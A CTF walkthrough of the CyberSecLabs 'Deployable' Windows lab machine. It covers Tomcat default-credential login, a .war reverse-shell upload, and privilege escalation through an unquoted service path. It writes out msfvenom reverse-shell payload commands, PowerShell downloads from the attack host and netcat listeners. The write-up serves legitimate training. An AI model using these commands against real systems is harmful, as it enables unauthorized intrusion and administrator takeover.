Walkthrough - CyberSecLabs "Deployable" Without Metasploit

Deployable is the newly released Windows machine over at CyberSecLabs, and it is definitely a great combination of easy and challenging.  The intro and foothold are straightforward and common in the CTF realm, and grabbing the low privilege user flag is quick.  The system flag is a bit more difficult, finding you transferring tools from your attack machine, running them, and then interpreting the results so you can best craft your attack to root.  Let's get in to it!

Scanning

As always we need to get started by knowing what it is we are looking at.  I always run a simple all ports scan, while at the same time running the more aggressive -A scan.  

nmap -p- 172.31.1.13

nmap -A 172.31.1.13

Enumeration

So there is a lot going on here, but one thing jumps out at me right off the bat - Tomcat.  Tomcat is a well known, and often misconfigured web server with very public administrator credentials that are oftentimes left unchanged.  We can check that out first.

Apache Tomcat Default Webpage 172.31.1.12:8080

On the left hand of the screen, under "Managing Tomcat," we see the manager webapp link.  Clicking this opens the login screen.

Tomcat Login Screen

Using my favorite Tomcat credentials "tomcat:s3cret" I am able to gain access to the ever famous Tomcat dashboard.  

 Tomcat Dashboard

Exploitation

Understanding Tomcat, we know that is uses .war files to deploy services to live, and we can use this ability to create a command shell if successful.  You can find the .war upload and deploy function farther down the Manager page.  Quickly researching Tomcat .war files shows that we can set up a reverse listener and get a command shell using an msfvenom payload.  Let's get that created and uploaded.

 msfvenom -p java/shell_reverse_tcp LHOST=10.10.0.4 LPORT=1111 -f war -o pwn.war

 .war payload Deployment

Now that we have deployed our payload to the server, we can confirm by scrolling up an examining the services.

Payload successfully deployed

We now need to set up a Netcat reverse listener to catch the shell.  We can do this using nc -nlvp 1111.  Clicking the /pwn link in the Manager dashboard redirects the browser to the payload, and we successfully have a command shell with user "tomcat."

Reverse Command Shell -nc -nlvp 1111

We can quickly type out a more command to grab the contents of the access.txt file that is on the Tomcat user's Desktop.  Submit that to the CSL Deployable dashboard and we can move on.

access.txt flag

We can quickly check to see if we have access privileges to the Administrator's directory, however we quickly find we do not.  So it's back to enumeration.

Enumeration - Privesc Edition

Now that we have our foothold, let's get to work on elevating our privileges to system user if possible.  We can pull the winPEAS.exe program from our attack machine using a Powershell wget command and a Python SimpleHTTPServer running on our attack machine.

python -m SimpleHTTPServer 8080

 powershell -c wget "http://10.10.0.4:8080/winPEAS.exe"-outfile "winPEAS.exe"

As we can see our transfer was successful.  We can run winPEAS.exe and go through the results to see if we find anything that would be of value.  One particular return stands out however, suggesting that the service "Deploy" may have an Unquoted Service Path vulnerability that we need to explore further.

Deploy service Unquoted Service Path Vulnerability

A quick word on Unquoted Service Paths

Unquoted service paths are a vulnerability created by a mis-configuration in the quoting of directory locations that contain spaces, but are not enclosed by quotations.  When a service is requested, it has a pre-determined environmental path that the system uses to determine where the program can be executed from.  If a service is running with Administrator privileges, this can be exploited to elevate privileges by injecting a poisoned executable in to the environmental path.  See the example below:

Environmental Path example courtesy of https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae

Here we see the path that the system will interpret to execute SomeExecutable.exe.  In an unquoted path, the system will first try to run each directory name as an executable, as it is not quoted.  So if "Program.exe" has not been located, then the system will try to execute the "A subfolder" as A.exe, etc, until it finds an executable it can execute per it's instructions.  This will be how we craft our exploit (Learn more here https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae)

Unquoted Service Path Exploitation

Referring back to our winPEAS scan results, we know that we have an opportunity to drop a poisoned executable in the "Deploy Ready" directory, and that we should name it "service.exe" as we know the next Directory location in the path is "Service Files."  We can again use msfvenom to craft our payload that we will use to gain a command shell.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.0.4 LPORT=2222 -f exe -o service.exe

For ease of access, we can save our payload to the same directory we have our Python server running from, and use another Powershell wget command to pull the payload to the Deploy Ready subdirectory.

powershell -c wget "http://10.10.0.4:80/service.exe" -outfile "service.exe"

Now that we have our poisoned executable in the environment path, we need to first run "sc stop Deploy" to stop the program if it's running.  In this case the program was not running.  Next we open our Netcat listener in another terminal to catch the shell.  We then run "sc start deploy" which gives us Administrative command shell access as we had hoped!

Left - sc stop deploy; sc start deploy; Right - nc -nlvp to gain administrator shell access

From here gathering the system flag is trivial.  Grab the system.txt flag and submit it to the Dashboard to complete the challenge.

MayorWasHere and system flag

Final Thoughts

I actually really, really enjoy unquoted service path vulnerability exploitation, so I was giddy when I saw this box had one.  But it wasn't my first path to root.  As with the last guide, I did find a now-patched kernel exploit that allowed me to grab root access with minimal effort, however I won't go in to this.  This is my second guide without using Metasploit, and I feel like I'm learning a lot without it.  But boy do I miss the simplicity.  Until next time, I hope this guide helps!